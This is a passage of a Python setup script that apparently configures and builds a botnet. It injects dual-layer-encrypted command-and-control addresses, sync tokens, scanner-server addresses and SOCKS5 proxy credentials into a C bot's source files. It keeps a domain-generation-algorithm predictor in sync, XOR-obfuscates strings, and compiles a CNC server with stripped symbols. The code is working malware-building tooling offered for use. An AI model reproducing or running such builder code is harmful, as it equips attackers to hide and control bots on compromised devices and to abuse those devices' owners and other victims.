return True
except Exception as e:
error(f"Failed to update debug mode: {e}")
return False
def prompt_debug_mode() -> bool:
"""Prompt user to set debug mode with explanation"""
print(f"\n{Colors.BRIGHT_CYAN}🔧 Debug Mode{Colors.RESET}")
print(
f"{Colors.DIM} Logs function calls & connections to console (dev only){Colors.RESET}\n"
)
return confirm("Would you like to enable debug mode?", default=False)
def update_bot_config(
bot_path: str,
magic_code: str,
protocol_version: str,
obfuscated_c2: str,
crypt_seed: str,
):
"""Update the C++ bot config files with new values"""
# Update constants in bot.h
hpp_path = os.path.join(bot_path, "headers", "bot.h")
with open(hpp_path, "r") as f:
content = f.read()
content = re.sub(
r'(#define CONFIG_SEED\s+)"[^"]*"',
lambda m: f'{m.group(1)}"{crypt_seed}"',
content,
)
# SYNC_TOKEN is no longer a #define — it's an encrypted blob in config.c
content = re.sub(
r'(#define BUILD_TAG\s+)"[^"]*"',
lambda m: f'{m.group(1)}"{protocol_version}"',
content,
)
with open(hpp_path, "w") as f:
f.write(content)
# Update rawServiceAddrs + encrypted sync token in config.c
config_cpp_path = os.path.join(bot_path, "config.c")
with open(config_cpp_path, "r") as f:
content = f.read()
enc_service_addrs = dual_layer_encrypt(obfuscated_c2)
content = re.sub(
r'(static const char\s*\*\s*raw_service_addrs\s*=\s*")[^"]*"',
lambda m: f'{m.group(1)}{enc_service_addrs}"',
content,
)
enc_sync_token = dual_layer_encrypt(magic_code)
content = re.sub(
r'(static const char\s*\*\s*raw_sync_token\s*=\s*")[^"]*"',
lambda m: f'{m.group(1)}{enc_sync_token}"',
content,
)
# Keep config-blob sentinels in sync with the #define values updated above
enc_config_seed = dual_layer_encrypt(crypt_seed)
content = re.sub(
r'(static const char\s*\*\s*raw_config_seed\s*=\s*")[^"]*"',
lambda m: f'{m.group(1)}{enc_config_seed}"',
content,
)
enc_build_tag = dual_layer_encrypt(protocol_version)
content = re.sub(
r'(static const char\s*\*\s*raw_build_tag\s*=\s*")[^"]*"',
lambda m: f'{m.group(1)}{enc_build_tag}"',
content,
)
with open(config_cpp_path, "w") as f:
f.write(content)
return True
def update_dga_predict(base_path: str, crypt_seed: str, magic_code: str, aes_key: bytes = None):
"""Update tools/dga_predict.go to match bot's DGA parameters."""
predict_path = os.path.join(base_path, "tools", "dga_predict.go")
if not os.path.exists(predict_path):
return
with open(predict_path, "r") as f:
content = f.read()
content = re.sub(
r'const configSeed\s*=\s*"[^"]*"',
f'const configSeed = "{crypt_seed}"',
content,
)
with open(predict_path, "w") as f:
f.write(content)
def update_proxy_credentials(bot_path: str, username: str, password: str):
"""Update the default SOCKS5 proxy credentials in bot/ds.c"""
hpp_path = os.path.join(bot_path, "ds.c")
with open(hpp_path, "r") as f:
content = f.read()
content = re.sub(
r'(const char \*default_proxy_user\s*=\s*)"[^"]*"',
lambda m: f'{m.group(1)}"{username}"',
content,
)
content = re.sub(
r'(const char \*default_proxy_pass\s*=\s*)"[^"]*"',
lambda m: f'{m.group(1)}"{password}"',
content,
)
with open(hpp_path, "w") as f:
f.write(content)
def update_scan_server(bot_path: str, scan_server: str):
"""Update the scan server address in bot/config.c (encrypted blob)"""
config_cpp_path = os.path.join(bot_path, "config.c")
with open(config_cpp_path, "r") as f:
content = f.read()
if scan_server:
enc_blob = dual_layer_encrypt(scan_server)
else:
enc_blob = ""
content = re.sub(
r'(static const char \*raw_scan_server = ")[^"]*"',
lambda m: f'{m.group(1)}{enc_blob}"',
content,
)
with open(config_cpp_path, "w") as f:
f.write(content)
def patch_scanner_config(bot_path: str, bins_host: str):
"""Patch scanner binary names in config.c"""
config_path = os.path.join(bot_path, "config.c")
with open(config_path, "r") as f:
content = f.read()
with open(config_path, "w") as f:
f.write(content)
def xor_encode_with_key(plaintext: str, key: str) -> str:
"""XOR-encode a string with a key, return as Go string escape sequence"""
if not plaintext or not key:
return ""
key_bytes = key.encode()
result = []
for i, ch in enumerate(plaintext.encode()):
xored = ch ^ key_bytes[i % len(key_bytes)]
result.append(f"\\x{xored:02x}")
return "".join(result)
def find_go() -> str:
"""Find the Go binary, preferring /usr/local/go/bin/go over system PATH"""
candidates = ["/usr/local/go/bin/go", shutil.which("go")]
for go in candidates:
if go and os.path.isfile(go):
try:
result = subprocess.run(
[go, "version"], capture_output=True, text=True
)
if result.returncode == 0:
return go
except Exception:
continue
return "go" # fallback
def build_cnc(cnc_path: str) -> bool:
"""Build the CNC server"""
try:
go = find_go()
info(f"Building CNC server... ({go})")
result = subprocess.run(
[go, "build", "-ldflags=-s -w", "-o", "cnc", "."],
cwd=cnc_path,
capture_output=True,
text=True,
)